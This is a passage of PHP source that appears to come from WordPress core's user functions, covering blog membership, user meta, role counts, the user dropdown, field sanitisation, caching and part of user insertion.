  1012. $blogs = array();
  1013.  
  1014. if ( isset( $keys[ $wpdb->base_prefix . 'capabilities' ] ) && defined( 'MULTISITE' ) ) {
  1015. $blog = get_blog_details( 1 );
  1016. if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) {
  1017. $blogs[ 1 ] = (object) array(
  1018. 'userblog_id' => 1,
  1019. 'blogname' => $blog->blogname,
  1020. 'domain' => $blog->domain,
  1021. 'path' => $blog->path,
  1022. 'site_id' => $blog->site_id,
  1023. 'siteurl' => $blog->siteurl,
  1024. 'archived' => 0,
  1025. 'spam' => 0,
  1026. 'deleted' => 0
  1027. );
  1028. }
  1029. unset( $keys[ $wpdb->base_prefix . 'capabilities' ] );
  1030. }
  1031.  
  1032. $keys = array_keys( $keys );
  1033.  
  1034. foreach ( $keys as $key ) {
  1035. if ( 'capabilities' !== substr( $key, -12 ) )
  1036. continue;
  1037. if ( $wpdb->base_prefix && 0 !== strpos( $key, $wpdb->base_prefix ) )
  1038. continue;
  1039. $blog_id = str_replace( array( $wpdb->base_prefix, '_capabilities' ), '', $key );
  1040. if ( ! is_numeric( $blog_id ) )
  1041. continue;
  1042.  
  1043. $blog_id = (int) $blog_id;
  1044. $blog = get_blog_details( $blog_id );
  1045. if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) {
  1046. $blogs[ $blog_id ] = (object) array(
  1047. 'userblog_id' => $blog_id,
  1048. 'blogname' => $blog->blogname,
  1049. 'domain' => $blog->domain,
  1050. 'path' => $blog->path,
  1051. 'site_id' => $blog->site_id,
  1052. 'siteurl' => $blog->siteurl,
  1053. 'archived' => 0,
  1054. 'spam' => 0,
  1055. 'deleted' => 0
  1056. );
  1057. }
  1058. }
  1059.  
  1060. /**
  1061. * Filter the list of blogs a user belongs to.
  1062. *
  1063. * @since MU
  1064. *
  1065. * @param array $blogs An array of blog objects belonging to the user.
  1066. * @param int $user_id User ID.
  1067. * @param bool $all Whether the returned blogs array should contain all blogs, including
  1068. * those marked 'deleted', 'archived', or 'spam'. Default false.
  1069. */
  1070. return apply_filters( 'get_blogs_of_user', $blogs, $user_id, $all );
  1071. }
  1072.  
  1073. /**
  1074. * Find out whether a user is a member of a given blog.
  1075. *
  1076. * @since MU 1.1
  1077. * @uses get_blogs_of_user()
  1078. *
  1079. * @param int $user_id Optional. The unique ID of the user. Defaults to the current user.
  1080. * @param int $blog_id Optional. ID of the blog to check. Defaults to the current site.
  1081. * @return bool
  1082. */
  1083. function is_user_member_of_blog( $user_id = 0, $blog_id = 0 ) {
  1084. $user_id = (int) $user_id;
  1085. $blog_id = (int) $blog_id;
  1086.  
  1087. if ( empty( $user_id ) )
  1088. $user_id = get_current_user_id();
  1089.  
  1090. if ( empty( $blog_id ) )
  1091. $blog_id = get_current_blog_id();
  1092.  
  1093. $blogs = get_blogs_of_user( $user_id );
  1094. return array_key_exists( $blog_id, $blogs );
  1095. }
  1096.  
  1097. /**
  1098. * Add meta data field to a user.
  1099. *
  1100. * Post meta data is called "Custom Fields" on the Administration Screens.
  1101. *
  1102. * @since 3.0.0
  1103. * @uses add_metadata()
  1104. * @link http://codex.wordpress.org/Function_Reference/add_user_meta
  1105. *
  1106. * @param int $user_id User ID.
  1107. * @param string $meta_key Metadata name.
  1108. * @param mixed $meta_value Metadata value.
  1109. * @param bool $unique Optional, default is false. Whether the same key should not be added.
  1110. * @return int|bool Meta ID on success, false on failure.
  1111. */
  1112. function add_user_meta($user_id, $meta_key, $meta_value, $unique = false) {
  1113. return add_metadata('user', $user_id, $meta_key, $meta_value, $unique);
  1114. }
  1115.  
  1116. /**
  1117. * Remove metadata matching criteria from a user.
  1118. *
  1119. * You can match based on the key, or key and value. Removing based on key and
  1120. * value, will keep from removing duplicate metadata with the same key. It also
  1121. * allows removing all metadata matching key, if needed.
  1122. *
  1123. * @since 3.0.0
  1124. * @uses delete_metadata()
  1125. * @link http://codex.wordpress.org/Function_Reference/delete_user_meta
  1126. *
  1127. * @param int $user_id user ID
  1128. * @param string $meta_key Metadata name.
  1129. * @param mixed $meta_value Optional. Metadata value.
  1130. * @return bool True on success, false on failure.
  1131. */
  1132. function delete_user_meta($user_id, $meta_key, $meta_value = '') {
  1133. return delete_metadata('user', $user_id, $meta_key, $meta_value);
  1134. }
  1135.  
  1136. /**
  1137. * Retrieve user meta field for a user.
  1138. *
  1139. * @since 3.0.0
  1140. * @uses get_metadata()
  1141. * @link http://codex.wordpress.org/Function_Reference/get_user_meta
  1142. *
  1143. * @param int $user_id User ID.
  1144. * @param string $key Optional. The meta key to retrieve. By default, returns data for all keys.
  1145. * @param bool $single Whether to return a single value.
  1146. * @return mixed Will be an array if $single is false. Will be value of meta data field if $single
  1147. * is true.
  1148. */
  1149. function get_user_meta($user_id, $key = '', $single = false) {
  1150. return get_metadata('user', $user_id, $key, $single);
  1151. }
  1152.  
  1153. /**
  1154. * Update user meta field based on user ID.
  1155. *
  1156. * Use the $prev_value parameter to differentiate between meta fields with the
  1157. * same key and user ID.
  1158. *
  1159. * If the meta field for the user does not exist, it will be added.
  1160. *
  1161. * @since 3.0.0
  1162. * @uses update_metadata
  1163. * @link http://codex.wordpress.org/Function_Reference/update_user_meta
  1164. *
  1165. * @param int $user_id User ID.
  1166. * @param string $meta_key Metadata key.
  1167. * @param mixed $meta_value Metadata value.
  1168. * @param mixed $prev_value Optional. Previous value to check before removing.
  1169. * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
  1170. */
  1171. function update_user_meta($user_id, $meta_key, $meta_value, $prev_value = '') {
  1172. return update_metadata('user', $user_id, $meta_key, $meta_value, $prev_value);
  1173. }
  1174.  
  1175. /**
  1176. * Count number of users who have each of the user roles.
  1177. *
  1178. * Assumes there are neither duplicated nor orphaned capabilities meta_values.
  1179. * Assumes role names are unique phrases. Same assumption made by WP_User_Query::prepare_query()
  1180. * Using $strategy = 'time' this is CPU-intensive and should handle around 10^7 users.
  1181. * Using $strategy = 'memory' this is memory-intensive and should handle around 10^5 users, but see WP Bug #12257.
  1182. *
  1183. * @since 3.0.0
  1184. * @param string $strategy 'time' or 'memory'
  1185. * @return array Includes a grand total and an array of counts indexed by role strings.
  1186. */
  1187. function count_users($strategy = 'time') {
  1188. global $wpdb, $wp_roles;
  1189.  
  1190. // Initialize
  1191. $id = get_current_blog_id();
  1192. $blog_prefix = $wpdb->get_blog_prefix($id);
  1193. $result = array();
  1194.  
  1195. if ( 'time' == $strategy ) {
  1196. global $wp_roles;
  1197.  
  1198. if ( ! isset( $wp_roles ) )
  1199. $wp_roles = new WP_Roles();
  1200.  
  1201. $avail_roles = $wp_roles->get_names();
  1202.  
  1203. // Build a CPU-intensive query that will return concise information.
  1204. $select_count = array();
  1205. foreach ( $avail_roles as $this_role => $name ) {
  1206. $select_count[] = $wpdb->prepare( "COUNT(NULLIF(`meta_value` LIKE %s, false))", '%' . $wpdb->esc_like( '"' . $this_role . '"' ) . '%');
  1207. }
  1208. $select_count = implode(', ', $select_count);
  1209.  
  1210. // Add the meta_value index to the selection list, then run the query.
  1211. $row = $wpdb->get_row( "SELECT $select_count, COUNT(*) FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'", ARRAY_N );
  1212.  
  1213. // Run the previous loop again to associate results with role names.
  1214. $col = 0;
  1215. $role_counts = array();
  1216. foreach ( $avail_roles as $this_role => $name ) {
  1217. $count = (int) $row[$col++];
  1218. if ($count > 0) {
  1219. $role_counts[$this_role] = $count;
  1220. }
  1221. }
  1222.  
  1223. // Get the meta_value index from the end of the result set.
  1224. $total_users = (int) $row[$col];
  1225.  
  1226. $result['total_users'] = $total_users;
  1227. $result['avail_roles'] =& $role_counts;
  1228. } else {
  1229. $avail_roles = array();
  1230.  
  1231. $users_of_blog = $wpdb->get_col( "SELECT meta_value FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'" );
  1232.  
  1233. foreach ( $users_of_blog as $caps_meta ) {
  1234. $b_roles = maybe_unserialize($caps_meta);
  1235. if ( ! is_array( $b_roles ) )
  1236. continue;
  1237. foreach ( $b_roles as $b_role => $val ) {
  1238. if ( isset($avail_roles[$b_role]) ) {
  1239. $avail_roles[$b_role]++;
  1240. } else {
  1241. $avail_roles[$b_role] = 1;
  1242. }
  1243. }
  1244. }
  1245.  
  1246. $result['total_users'] = count( $users_of_blog );
  1247. $result['avail_roles'] =& $avail_roles;
  1248. }
  1249.  
  1250. return $result;
  1251. }
  1252.  
  1253. //
  1254. // Private helper functions
  1255. //
  1256.  
  1257. /**
  1258. * Set up global user vars.
  1259. *
  1260. * Used by wp_set_current_user() for back compat. Might be deprecated in the future.
  1261. *
  1262. * @since 2.0.4
  1263. * @global string $userdata User description.
  1264. * @global string $user_login The user username for logging in
  1265. * @global int $user_level The level of the user
  1266. * @global int $user_ID The ID of the user
  1267. * @global string $user_email The email address of the user
  1268. * @global string $user_url The url in the user's profile
  1269. * @global string $user_identity The display name of the user
  1270. *
  1271. * @param int $for_user_id Optional. User ID to set up global data.
  1272. */
  1273. function setup_userdata($for_user_id = '') {
  1274. global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_identity;
  1275.  
  1276. if ( '' == $for_user_id )
  1277. $for_user_id = get_current_user_id();
  1278. $user = get_userdata( $for_user_id );
  1279.  
  1280. if ( ! $user ) {
  1281. $user_ID = 0;
  1282. $user_level = 0;
  1283. $userdata = null;
  1284. $user_login = $user_email = $user_url = $user_identity = '';
  1285. return;
  1286. }
  1287.  
  1288. $user_ID = (int) $user->ID;
  1289. $user_level = (int) $user->user_level;
  1290. $userdata = $user;
  1291. $user_login = $user->user_login;
  1292. $user_email = $user->user_email;
  1293. $user_url = $user->user_url;
  1294. $user_identity = $user->display_name;
  1295. }
  1296.  
  1297. /**
  1298. * Create dropdown HTML content of users.
  1299. *
  1300. * The content can either be displayed, which it is by default or retrieved by
  1301. * setting the 'echo' argument. The 'include' and 'exclude' arguments do not
  1302. * need to be used; all users will be displayed in that case. Only one can be
  1303. * used, either 'include' or 'exclude', but not both.
  1304. *
  1305. * The available arguments are as follows:
  1306. *
  1307. * @since 2.3.0
  1308. *
  1309. * @global wpdb $wpdb WordPress database object for queries.
  1310. *
  1311. * @param array|string $args {
  1312. * Optional. Array or string of arguments to generate a drop-down of users.
  1313. * {@see WP_User_Query::prepare_query() for additional available arguments.
  1314. *
  1315. * @type string $show_option_all Text to show as the drop-down default (all).
  1316. * Default empty.
  1317. * @type string $show_option_none Text to show as the drop-down default when no
  1318. * users were found. Default empty.
  1319. * @type int|string $option_none_value Value to use for $show_option_non when no users
  1320. * were found. Default -1.
  1321. * @type string $hide_if_only_one_author Whether to skip generating the drop-down
  1322. * if only one user was found. Default empty.
  1323. * @type string $orderby Field to order found users by. Accepts user fields.
  1324. * Default 'display_name'.
  1325. * @type string $order Whether to order users in ascending or descending
  1326. * order. Accepts 'ASC' (ascending) or 'DESC' (descending).
  1327. * Default 'ASC'.
  1328. * @type array|string $include Array or comma-separated list of user IDs to include.
  1329. * Default empty.
  1330. * @type array|string $exclude Array or comma-separated list of user IDs to exclude.
  1331. * Default empty.
  1332. * @type bool|int $multi Whether to skip the ID attribute on the 'select' element.
  1333. * Accepts 1|true or 0|false. Default 0|false.
  1334. * @type string $show User table column to display. If the selected item is empty
  1335. * then the 'user_login' will be displayed in parentheses.
  1336. * Accepts user fields. Default 'display_name'.
  1337. * @type int|bool $echo Whether to echo or return the drop-down. Accepts 1|true (echo)
  1338. * or 0|false (return). Default 1|true.
  1339. * @type int $selected Which user ID should be selected. Default 0.
  1340. * @type bool $include_selected Whether to always include the selected user ID in the drop-
  1341. * down. Default false.
  1342. * @type string $name Name attribute of select element. Default 'user'.
  1343. * @type string $id ID attribute of the select element. Default is the value of $name.
  1344. * @type string $class Class attribute of the select element. Default empty.
  1345. * @type int $blog_id ID of blog (Multisite only). Default is ID of the current blog.
  1346. * @type string $who Which type of users to query. Accepts only an empty string or
  1347. * 'authors'. Default empty.
  1348. * }
  1349. * @return string|null Null on display. String of HTML content on retrieve.
  1350. */
  1351. function wp_dropdown_users( $args = '' ) {
  1352. $defaults = array(
  1353. 'show_option_all' => '', 'show_option_none' => '', 'hide_if_only_one_author' => '',
  1354. 'orderby' => 'display_name', 'order' => 'ASC',
  1355. 'include' => '', 'exclude' => '', 'multi' => 0,
  1356. 'show' => 'display_name', 'echo' => 1,
  1357. 'selected' => 0, 'name' => 'user', 'class' => '', 'id' => '',
  1358. 'blog_id' => $GLOBALS['blog_id'], 'who' => '', 'include_selected' => false,
  1359. 'option_none_value' => -1
  1360. );
  1361.  
  1362. $defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0;
  1363.  
  1364. $r = wp_parse_args( $args, $defaults );
  1365. $show = $r['show'];
  1366. $show_option_all = $r['show_option_all'];
  1367. $show_option_none = $r['show_option_none'];
  1368. $option_none_value = $r['option_none_value'];
  1369.  
  1370. $query_args = wp_array_slice_assoc( $r, array( 'blog_id', 'include', 'exclude', 'orderby', 'order', 'who' ) );
  1371. $query_args['fields'] = array( 'ID', 'user_login', $show );
  1372. $users = get_users( $query_args );
  1373.  
  1374. $output = '';
  1375. if ( ! empty( $users ) && ( empty( $r['hide_if_only_one_author'] ) || count( $users ) > 1 ) ) {
  1376. $name = esc_attr( $r['name'] );
  1377. if ( $r['multi'] && ! $r['id'] ) {
  1378. $id = '';
  1379. } else {
  1380. $id = $r['id'] ? " id='" . esc_attr( $r['id'] ) . "'" : " id='$name'";
  1381. }
  1382. $output = "<select name='{$name}'{$id} class='" . $r['class'] . "'>\n";
  1383.  
  1384. if ( $show_option_all ) {
  1385. $output .= "\t<option value='0'>$show_option_all</option>\n";
  1386. }
  1387.  
  1388. if ( $show_option_none ) {
  1389. $_selected = selected( $option_none_value, $r['selected'], false );
  1390. $output .= "\t<option value='" . esc_attr( $option_none_value ) . "'$_selected>$show_option_none</option>\n";
  1391. }
  1392.  
  1393. $found_selected = false;
  1394. foreach ( (array) $users as $user ) {
  1395. $user->ID = (int) $user->ID;
  1396. $_selected = selected( $user->ID, $r['selected'], false );
  1397. if ( $_selected ) {
  1398. $found_selected = true;
  1399. }
  1400. $display = ! empty( $user->$show ) ? $user->$show : '('. $user->user_login . ')';
  1401. $output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
  1402. }
  1403.  
  1404. if ( $r['include_selected'] && ! $found_selected && ( $r['selected'] > 0 ) ) {
  1405. $user = get_userdata( $r['selected'] );
  1406. $_selected = selected( $user->ID, $r['selected'], false );
  1407. $display = ! empty( $user->$show ) ? $user->$show : '('. $user->user_login . ')';
  1408. $output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
  1409. }
  1410.  
  1411. $output .= "</select>";
  1412. }
  1413.  
  1414. /**
  1415. * Filter the wp_dropdown_users() HTML output.
  1416. *
  1417. * @since 2.3.0
  1418. *
  1419. * @param string $output HTML output generated by wp_dropdown_users().
  1420. */
  1421. $html = apply_filters( 'wp_dropdown_users', $output );
  1422.  
  1423. if ( $r['echo'] ) {
  1424. echo $html;
  1425. }
  1426. return $html;
  1427. }
  1428.  
  1429. /**
  1430. * Sanitize user field based on context.
  1431. *
  1432. * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The
  1433. * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display'
  1434. * when calling filters.
  1435. *
  1436. * @since 2.3.0
  1437. *
  1438. * @param string $field The user Object field name.
  1439. * @param mixed $value The user Object value.
  1440. * @param int $user_id user ID.
  1441. * @param string $context How to sanitize user fields. Looks for 'raw', 'edit', 'db', 'display',
  1442. * 'attribute' and 'js'.
  1443. * @return mixed Sanitized value.
  1444. */
  1445. function sanitize_user_field($field, $value, $user_id, $context) {
  1446. $int_fields = array('ID');
  1447. if ( in_array($field, $int_fields) )
  1448. $value = (int) $value;
  1449.  
  1450. if ( 'raw' == $context )
  1451. return $value;
  1452.  
  1453. if ( !is_string($value) && !is_numeric($value) )
  1454. return $value;
  1455.  
  1456. $prefixed = false !== strpos( $field, 'user_' );
  1457.  
  1458. if ( 'edit' == $context ) {
  1459. if ( $prefixed ) {
  1460.  
  1461. /** This filter is documented in wp-includes/post.php */
  1462. $value = apply_filters( "edit_{$field}", $value, $user_id );
  1463. } else {
  1464.  
  1465. /**
  1466. * Filter a user field value in the 'edit' context.
  1467. *
  1468. * The dynamic portion of the hook name, $field, refers to the prefixed user
  1469. * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
  1470. *
  1471. * @since 2.9.0
  1472. *
  1473. * @param mixed $value Value of the prefixed user field.
  1474. * @param int $user_id User ID.
  1475. */
  1476. $value = apply_filters( "edit_user_{$field}", $value, $user_id );
  1477. }
  1478.  
  1479. if ( 'description' == $field )
  1480. $value = esc_html( $value ); // textarea_escaped?
  1481. else
  1482. $value = esc_attr($value);
  1483. } else if ( 'db' == $context ) {
  1484. if ( $prefixed ) {
  1485. /** This filter is documented in wp-includes/post.php */
  1486. $value = apply_filters( "pre_{$field}", $value );
  1487. } else {
  1488.  
  1489. /**
  1490. * Filter the value of a user field in the 'db' context.
  1491. *
  1492. * The dynamic portion of the hook name, $field, refers to the prefixed user
  1493. * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
  1494. *
  1495. * @since 2.9.0
  1496. *
  1497. * @param mixed $value Value of the prefixed user field.
  1498. */
  1499. $value = apply_filters( "pre_user_{$field}", $value );
  1500. }
  1501. } else {
  1502. // Use display filters by default.
  1503. if ( $prefixed ) {
  1504.  
  1505. /** This filter is documented in wp-includes/post.php */
  1506. $value = apply_filters( $field, $value, $user_id, $context );
  1507. } else {
  1508.  
  1509. /**
  1510. * Filter the value of a user field in a standard context.
  1511. *
  1512. * The dynamic portion of the hook name, $field, refers to the prefixed user
  1513. * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
  1514. *
  1515. * @since 2.9.0
  1516. *
  1517. * @param mixed $value The user object value to sanitize.
  1518. * @param int $user_id User ID.
  1519. * @param string $context The context to filter within.
  1520. */
  1521. $value = apply_filters( "user_{$field}", $value, $user_id, $context );
  1522. }
  1523. }
  1524.  
  1525. if ( 'user_url' == $field )
  1526. $value = esc_url($value);
  1527.  
  1528. if ( 'attribute' == $context )
  1529. $value = esc_attr($value);
  1530. else if ( 'js' == $context )
  1531. $value = esc_js($value);
  1532.  
  1533. return $value;
  1534. }
  1535.  
  1536. /**
  1537. * Update all user caches
  1538. *
  1539. * @since 3.0.0
  1540. *
  1541. * @param object $user User object to be cached
  1542. */
  1543. function update_user_caches($user) {
  1544. wp_cache_add($user->ID, $user, 'users');
  1545. wp_cache_add($user->user_login, $user->ID, 'userlogins');
  1546. wp_cache_add($user->user_email, $user->ID, 'useremail');
  1547. wp_cache_add($user->user_nicename, $user->ID, 'userslugs');
  1548. }
  1549.  
  1550. /**
  1551. * Clean all user caches
  1552. *
  1553. * @since 3.0.0
  1554. *
  1555. * @param WP_User|int $user User object or ID to be cleaned from the cache
  1556. */
  1557. function clean_user_cache( $user ) {
  1558. if ( is_numeric( $user ) )
  1559. $user = new WP_User( $user );
  1560.  
  1561. if ( ! $user->exists() )
  1562. return;
  1563.  
  1564. wp_cache_delete( $user->ID, 'users' );
  1565. wp_cache_delete( $user->user_login, 'userlogins' );
  1566. wp_cache_delete( $user->user_email, 'useremail' );
  1567. wp_cache_delete( $user->user_nicename, 'userslugs' );
  1568. }
  1569.  
  1570. /**
  1571. * Checks whether the given username exists.
  1572. *
  1573. * @since 2.0.0
  1574. *
  1575. * @param string $username Username.
  1576. * @return null|int The user's ID on success, and null on failure.
  1577. */
  1578. function username_exists( $username ) {
  1579. if ( $user = get_user_by('login', $username ) ) {
  1580. return $user->ID;
  1581. } else {
  1582. return null;
  1583. }
  1584. }
  1585.  
  1586. /**
  1587. * Checks whether the given email exists.
  1588. *
  1589. * @since 2.1.0
  1590. *
  1591. * @param string $email Email.
  1592. * @return bool|int The user's ID on success, and false on failure.
  1593. */
  1594. function email_exists( $email ) {
  1595. if ( $user = get_user_by('email', $email) )
  1596. return $user->ID;
  1597.  
  1598. return false;
  1599. }
  1600.  
  1601. /**
  1602. * Checks whether an username is valid.
  1603. *
  1604. * @since 2.0.1
  1605. * @uses apply_filters() Calls 'validate_username' hook on $valid check and $username as parameters
  1606. *
  1607. * @param string $username Username.
  1608. * @return bool Whether username given is valid
  1609. */
  1610. function validate_username( $username ) {
  1611. $sanitized = sanitize_user( $username, true );
  1612. $valid = ( $sanitized == $username );
  1613. /**
  1614. * Filter whether the provided username is valid or not.
  1615. *
  1616. * @since 2.0.1
  1617. *
  1618. * @param bool $valid Whether given username is valid.
  1619. * @param string $username Username to check.
  1620. */
  1621. return apply_filters( 'validate_username', $valid, $username );
  1622. }
  1623.  
  1624. /**
  1625. * Insert an user into the database.
  1626. *
  1627. * Most of the $userdata array fields have filters associated with the values.
  1628. * The exceptions are 'rich_editing', 'role', 'jabber', 'aim', 'yim',
  1629. * 'user_registered', and 'ID'. The filters have the prefix 'pre_user_' followed
  1630. * by the field name. An example using 'description' would have the filter
  1631. * called, 'pre_user_description' that can be hooked into.
  1632. *
  1633. * @since 2.0.0
  1634. *
  1635. * @global wpdb $wpdb WordPress database object for queries.
  1636. *
  1637. * @param array $userdata {
  1638. * An array, object, or WP_User object of user data arguments.
  1639. *
  1640. * @type int $ID User ID. If supplied, the user will be updated.
  1641. * @type string $user_pass The plain-text user password.
  1642. * @type string $user_login The user's login username.
  1643. * @type string $user_nicename The URL-friendly user name.
  1644. * @type string $user_url The user URL.
  1645. * @type string $user_email The user email address.
  1646. * @type string $display_name The user's display name.
  1647. * Default is the the user's username.
  1648. * @type string $nickname The user's nickname. Default
  1649. * Default is the the user's username.
  1650. * @type string $first_name The user's first name. For new users, will be used
  1651. * to build $display_name if unspecified.
  1652. * @type stirng $last_name The user's last name. For new users, will be used
  1653. * to build $display_name if unspecified.
  1654. * @type string|bool $rich_editing Whether to enable the rich-editor for the user. False
  1655. * if not empty.
  1656. * @type string $date_registered Date the user registered. Format is 'Y-m-d H:i:s'.
  1657. * @type string $role User's role.
  1658. * @type string $jabber User's Jabber account username.
  1659. * @type string $aim User's AIM account username.
  1660. * @type string $yim User's Yahoo! messenger username.
  1661. * }
  1662. * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
  1663. * be created.
  1664. */
  1665. function wp_insert_user( $userdata ) {
  1666. global $wpdb;
  1667.  
  1668. if ( is_a( $userdata, 'stdClass' ) ) {
  1669. $userdata = get_object_vars( $userdata );
  1670. } elseif ( is_a( $userdata, 'WP_User' ) ) {
  1671. $userdata = $userdata->to_array();
  1672. }
  1673. // Are we updating or creating?
  1674. if ( ! empty( $userdata['ID'] ) ) {
  1675. $ID = (int) $userdata['ID'];
  1676. $update = true;
  1677. $old_user_data = WP_User::get_data_by( 'id', $ID );
  1678. // hashed in wp_update_user(), plaintext if called directly
  1679. $user_pass = $userdata['user_pass'];
  1680. } else {
  1681. $update = false;
  1682. // Hash the password
  1683. $user_pass = wp_hash_password( $userdata['user_pass'] );
  1684. }
  1685.  
  1686. $sanitized_user_login = sanitize_user( $userdata['user_login'], true );
  1687.  
  1688. /**
  1689. * Filter a username after it has been sanitized.
  1690. *
  1691. * This filter is called before the user is created or updated.
  1692. *
  1693. * @since 2.0.3
  1694. *
  1695. * @param string $sanitized_user_login Username after it has been sanitized.
  1696. */
  1697. $pre_user_login = apply_filters( 'pre_user_login', $sanitized_user_login );
  1698.  
  1699. //Remove any non-printable chars from the login string to see if we have ended up with an empty username
  1700. $user_login = trim( $pre_user_login );
  1701.  
  1702. if ( empty( $user_login ) ) {
  1703. return new WP_Error('empty_user_login', __('Cannot create a user with an empty login name.') );
  1704. }
  1705. if ( ! $update && username_exists( $user_login ) ) {
  1706. return new WP_Error( 'existing_user_login', __( 'Sorry, that username already exists!' ) );
  1707. }
  1708. if ( empty( $userdata['user_nicename'] ) ) {
  1709. $user_nicename = sanitize_title( $user_login );
  1710. } else {
  1711. $user_nicename = $userdata['user_nicename'];
  1712. }
  1713.  
  1714. // Store values to save in user meta.
  1715. $meta = array();
  1716.  
  1717. /**
  1718. * Filter a user's nicename before the user is created or updated.
  1719. *
  1720. * @since 2.0.3
  1721. *
  1722. * @param string $user_nicename The user's nicename.
  1723. */
  1724. $user_nicename = apply_filters( 'pre_user_nicename', $user_nicename );
  1725.  
  1726. $raw_user_url = empty( $userdata['user_url'] ) ? '' : $userdata['user_url'];
  1727.  
  1728. /**
  1729. * Filter a user's URL before the user is created or updated.
  1730. *
  1731. * @since 2.0.3
  1732. *
  1733. * @param string $raw_user_url The user's URL.
  1734. */
  1735. $user_url = apply_filters( 'pre_user_url', $raw_user_url );
  1736.  
  1737. $raw_user_email = empty( $userdata['user_email'] ) ? '' : $userdata['user_email'];
  1738.  
  1739. /**
  1740. * Filter a user's email before the user is created or updated.
  1741. *
  1742. * @since 2.0.3
  1743. *
  1744. * @param string $raw_user_email The user's email.
  1745. */
  1746. $user_email = apply_filters( 'pre_user_email', $raw_user_email );
  1747.  
  1748. if ( ! $update && ! defined( 'WP_IMPORTING' ) && email_exists( $user_email ) ) {
  1749. return new WP_Error( 'existing_user_email', __( 'Sorry, that email address is already used!' ) );
  1750. }
  1751. $nickname = empty( $userdata['nickname'] ) ? $user_login : $userdata['nickname'];
  1752.  
  1753. /**
  1754. * Filter a user's nickname before the user is created or updated.
  1755. *
  1756. * @since 2.0.3
  1757. *
  1758. * @param string $nickname The user's nickname.
  1759. */
  1760. $meta['nickname'] = apply_filters( 'pre_user_nickname', $nickname );
  1761.  
  1762. $first_name = empty( $userdata['first_name'] ) ? '' : $userdata['first_name'];
  1763.  
  1764. /**
  1765. * Filter a user's first name before the user is created or updated.
  1766. *
  1767. * @since 2.0.3
  1768. *
  1769. * @param string $first_name The user's first name.
  1770. */
  1771. $meta['first_name'] = apply_filters( 'pre_user_first_name', $first_name );
  1772.  
  1773. $last_name = empty( $userdata['last_name'] ) ? '' : $userdata['last_name'];
  1774.  
  1775. /**
  1776. * Filter a user's last name before the user is created or updated.
  1777. *
  1778. * @since 2.0.3
  1779. *
  1780. * @param string $last_name The user's last name.
  1781. */
  1782. $meta['last_name'] = apply_filters( 'pre_user_last_name', $last_name );
  1783.  
  1784. if ( empty( $userdata['display_name'] ) ) {
  1785. if ( $update ) {
  1786. $display_name = $user_login;
  1787. } elseif ( $meta['first_name'] && $meta['last_name'] ) {
  1788. /* translators: 1: first name, 2: last name */
  1789. $display_name = sprintf( _x( '%1$s %2$s', 'Display name based on first name and last name' ), $meta['first_name'], $meta['last_name'] );
  1790. } elseif ( $meta['first_name'] ) {
  1791. $display_name = $meta['first_name'];
  1792. } elseif ( $meta['last_name'] ) {
  1793. $display_name = $meta['last_name'];
  1794. } else {
  1795. $display_name = $user_login;
  1796. }
  1797. } else {
  1798. $display_name = $userdata['display_name'];
  1799. }
  1800.  
  1801. /**
  1802. * Filter a user's display name before the user is created or updated.
  1803. *
  1804. * @since 2.0.3
  1805. *
  1806. * @param string $display_name The user's display name.
  1807. */
  1808. $display_name = apply_filters( 'pre_user_display_name', $display_name );
  1809.  
  1810. $description = empty( $userdata['description'] ) ? '' : $userdata['description'];
  1811.  
  1812. /**
  1813. * Filter a user's description before the user is created or updated.
  1814. *
  1815. * @since 2.0.3
  1816. *
  1817. * @param string $description The user's description.
  1818. */
  1819. $meta['description'] = apply_filters( 'pre_user_description', $description );
  1820.  
  1821. $meta['rich_editing'] = empty( $userdata['rich_editing'] ) ? 'true' : $userdata['rich_editing'];
  1822.  
  1823. $meta['comment_shortcuts'] = empty( $userdata['comment_shortcuts'] ) ? 'false' : $userdata['comment_shortcuts'];
  1824.  
  1825. $admin_color = empty( $userdata['admin_color'] ) ? 'fresh' : $userdata['admin_color'];
  1826. $meta['admin_color'] = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $admin_color );
  1827.  
  1828. $meta['use_ssl'] = empty( $userdata['use_ssl'] ) ? 0 : $userdata['use_ssl'];
  1829.  
  1830. $user_registered = empty( $userdata['user_registered'] ) ? gmdate( 'Y-m-d H:i:s' ) : $userdata['user_registered'];
  1831.  
  1832. $meta['show_admin_bar_front'] = empty( $userdata['show_admin_bar_front'] ) ? 'true' : $userdata['show_admin_bar_front'];
  1833.  
  1834. $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $user_nicename, $user_login));
  1835.  
  1836. if ( $user_nicename_check ) {
  1837. $suffix = 2;
  1838. while ($user_nicename_check) {
  1839. $alt_user_nicename = $user_nicename . "-$suffix";
  1840. $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $alt_user_nicename, $user_login));
  1841. $suffix++;
  1842. }
  1843. $user_nicename = $alt_user_nicename;
  1844. }
  1845.  
  1846. $compacted = compact( 'user_pass', 'user_email', 'user_url', 'user_nicename', 'display_name', 'user_registered' );
  1847. $data = wp_unslash( $compacted );
  1848.  
  1849. if ( $update ) {
  1850. if ( $user_email !== $old_user_data->user_email ) {
  1851. $data['user_activation_key'] = '';
  1852. }
  1853. $wpdb->update( $wpdb->users, $data, compact( 'ID' ) );
  1854. $user_id = (int) $ID;
  1855. } else {
  1856. $wpdb->insert( $wpdb->users, $data + compact( 'user_login' ) );
  1857. $user_id = (int) $wpdb->insert_id;
  1858. }
  1859.  
  1860. $user = new WP_User( $user_id );
  1861.  
  1862. // Update user meta.
  1863. foreach ( $meta as $key => $value ) {
